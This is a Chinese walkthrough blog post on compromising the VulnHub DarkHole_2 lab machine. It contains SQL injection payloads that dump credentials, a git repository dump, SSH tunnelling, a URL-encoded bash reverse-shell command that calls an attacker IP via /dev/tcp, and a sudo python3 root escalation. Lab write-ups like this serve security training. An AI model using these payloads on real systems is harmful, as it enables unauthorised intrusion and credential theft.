网络安全从0到0.5之DarkHole_2靶机实战渗透测试

admin 2022年1月28日02:37:37网络安全从0到0.5之DarkHole_2靶机实战渗透测试已关闭评论74 views字数 2732阅读9分6秒阅读模式

*download:*

https://download.vulnhub.com/darkhole/darkhole_2.zip

环境配置

下载了zip文件解压后将ova文件导入到vmware中,把网络适配器调为**桥接模式(自动)

信息收集

首先查看靶机的mac地址

网络安全从0到0.5之DarkHole_2靶机实战渗透测试

nmap -sP 172.16.10.0/24**#扫描网段

网络安全从0到0.5之DarkHole_2靶机实战渗透测试

扫描到靶机的ip地址为172.16.10.136

网络安全从0到0.5之DarkHole_2靶机实战渗透测试

nmap -sV -n -p- 172.16.10.136**#扫描靶机的端口服务信息

网络安全从0到0.5之DarkHole_2靶机实战渗透测试

查看到有22端口和80端口是开放的

80端口

先去对80端口进行访问

网络安全从0到0.5之DarkHole_2靶机实战渗透测试

首先对主页面进行查看和查找,发现右上角有一个Login

发现需要使用邮箱和密码进行登录,没有查看到多余的信息

dirb

使用dirb工具对网站进行扫描

网络安全从0到0.5之DarkHole_2靶机实战渗透测试

查看认为有有效信息的页面

网络安全从0到0.5之DarkHole_2靶机实战渗透测试

查看到一些文件和文件夹

网络安全从0到0.5之DarkHole_2靶机实战渗透测试

网络安全从0到0.5之DarkHole_2靶机实战渗透测试

git

nmap -A -T5 172.16.10.136 #进行全面的扫描

网络安全从0到0.5之DarkHole_2靶机实战渗透测试

发现有进行提示

这个.git好像是git仓库

那就想到把这一整个git仓库从网站中转储出来,需要用到工具

工具下载路径:

https://github.com/arthaud/git-dumper.git

python git_dumper.py http://172.16.10.136/.git web #将仓库进行转储

在使用工具时,会发现有个模块需要进行下载

pip3 install dulwich

网络安全从0到0.5之DarkHole_2靶机实战渗透测试

然后就是使用**git来对这个仓库进行查询

因为我们先是要获得邮箱账号和密码,所以拿到文件后肯定是要先去对login.php文件进行查询

git log login.php #查看之前每次的commit记录列表,也就是查看每次登录的记录

网络安全从0到0.5之DarkHole_2靶机实战渗透测试

但是这里的信息只是登录的记录,而不是我们需要的登录信息

git show 0f1d821f48a9cf662f285457a5ce9af6b9feb2c4 #使用commit的id号来查看commit提交的内容

网络安全从0到0.5之DarkHole_2靶机实战渗透测试

获取到了邮箱账号和密码

[email protected]:321

使用获得的账号和密码进行登录

网络安全从0到0.5之DarkHole_2靶机实战渗透测试

sql注入

登录成功后发现只有这一个页面,在信息栏中也没有什么有用信息

观察到了**url上的id变量

id=2

页面会发生变化

网络安全从0到0.5之DarkHole_2靶机实战渗透测试

id=2'

加上单引号后会发生报错

网络安全从0到0.5之DarkHole_2靶机实战渗透测试

id=2' or 1=1--+

又返回了id=1时的信息,说明2后的单引号发生了闭合,说明是一个**字符型的注入

网络安全从0到0.5之DarkHole_2靶机实战渗透测试

id=2' or 1=2--+

页面发生变化,说明页面存在注入

网络安全从0到0.5之DarkHole_2靶机实战渗透测试

id=2' order by 5--+ #对表的字段数进行猜测

因为信息栏中有四个输入框,先使用order by 5来查看是否为4个字段

网络安全从0到0.5之DarkHole_2靶机实战渗透测试

页面没有进行报错,所以字段数是对于4个的

继续进行猜测

id=2' order by 7--+

页面进行了报错,那就证明字段数肯定是小于7的

网络安全从0到0.5之DarkHole_2靶机实战渗透测试

id=2' order by 6--+

页面没有发生报错,所以字段数为6

网络安全从0到0.5之DarkHole_2靶机实战渗透测试

id=2' union select 1,2,3,4,5,6--+ #查看那些字段的信息会显示到页面中

网络安全从0到0.5之DarkHole_2靶机实战渗透测试

发现2,3,5,6这四个字段,所以可以使用这几个字段进行修改

id=2' union select 1,database(),version(),4,5,6--+

网络安全从0到0.5之DarkHole_2靶机实战渗透测试

获取到数据库名和版本号

id=2' union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database()--+

网络安全从0到0.5之DarkHole_2靶机实战渗透测试

有两个表,一个是ssh,一个是users

因为没有再进行登录的页面了,就先对ssh表进行注入

id=2' union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_name='ssh'--+ #爆出字段名

网络安全从0到0.5之DarkHole_2靶机实战渗透测试

有id,user,pass三个字段

id=2' union select 1,group_concat(id,0x7e,user,0x7e,pass),3,4,5,6 from ssh--+

网络安全从0到0.5之DarkHole_2靶机实战渗透测试

拿到ssh表中的数据

1,jehad,fool

22端口

ssh [email protected] #进行ssh的连接,密码fool

网络安全从0到0.5之DarkHole_2靶机实战渗透测试

靶机中继续进行查找

在/home目录中看到有三个用户的存在

网络安全从0到0.5之DarkHole_2靶机实战渗透测试

在losy用户中查看第一个flag

网络安全从0到0.5之DarkHole_2靶机实战渗透测试

提权

在/etc/crontab文件中查看到一个定时任务,并且是losy用户的权限

网络安全从0到0.5之DarkHole_2靶机实战渗透测试

先去查看9999端口是否是开放的

网络安全从0到0.5之DarkHole_2靶机实战渗透测试

是有开放的,那就对这个9999端口下手

在下手之前先去查看/opt/web目录下有什么文件

网络安全从0到0.5之DarkHole_2靶机实战渗透测试

发现有一个index.php文件

分析代码后,就是在访问时使用**get方式,变量名是cmd,并且cmd变量可以用来执行命令

在jehad用户的根目录下的历史记录文件中查看到了ssh隧道的使用方法

网络安全从0到0.5之DarkHole_2靶机实战渗透测试

网络安全从0到0.5之DarkHole_2靶机实战渗透测试

ssh -L 127.0.0.1:9999:172.16.10.136:9999 [email protected]

网络安全从0到0.5之DarkHole_2靶机实战渗透测试

大概分析了历史记录中的方法,似乎是有两个方法,一个是将木马文件进行上传,访问后拿到一个反弹shell,另一个方法是直接使用bash进行反弹shell

最开始我使用的上传木马文件的方法,但是在使用metasploit进行监听拿shell时拿到的shell,无法执行命令。那就果断的换了方法,使用bash -i >& /dev/tcp/172.16.9.182/3333 0>&1进行反弹

但需要注意的是,这个语句是相当于在url上进行输入,需要有些符号和空格需要经过url编码后才能执行成功

在反弹前现在自己的攻击机中打开监听的端口

nc -lvvp 1122

网络安全从0到0.5之DarkHole_2靶机实战渗透测试

curl "http://127.0.0.1:9999/?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.16.10.185%2F1122%200%3E%261%27"

网络安全从0到0.5之DarkHole_2靶机实战渗透测试

网络安全从0到0.5之DarkHole_2靶机实战渗透测试

拿到losy用户的权限

接着又查看了根目录的历史记录

cat .bash_history

网络安全从0到0.5之DarkHole_2靶机实战渗透测试

发现了losy用户的密码

使用sudo su进行提权试试

网络安全从0到0.5之DarkHole_2靶机实战渗透测试

是不可以的

再使用**sudo -l来查看

网络安全从0到0.5之DarkHole_2靶机实战渗透测试

提示要使用-S参数

网络安全从0到0.5之DarkHole_2靶机实战渗透测试

查看到python3是root权限

那提权就简单了

sudo python3 -c 'import os;os.system("/bin/bash")'

网络安全从0到0.5之DarkHole_2靶机实战渗透测试

成功拿到root权限

补充

sql注入的地方还可以使用sqlmap来进行爆破

需要先获取cookie值,F12中的network可以获取到

如:

sqlmap -u http://192.168.181.161/dashboard.php?id=1 --cookie cookie值 --current-db

总结

涉及到点有

git repo提权,远程命令执行,sql注入,ssh隧道,sudo滥用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月28日02:37:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   网络安全从0到0.5之DarkHole_2靶机实战渗透测试http://cn-sec.com/archives/757913.html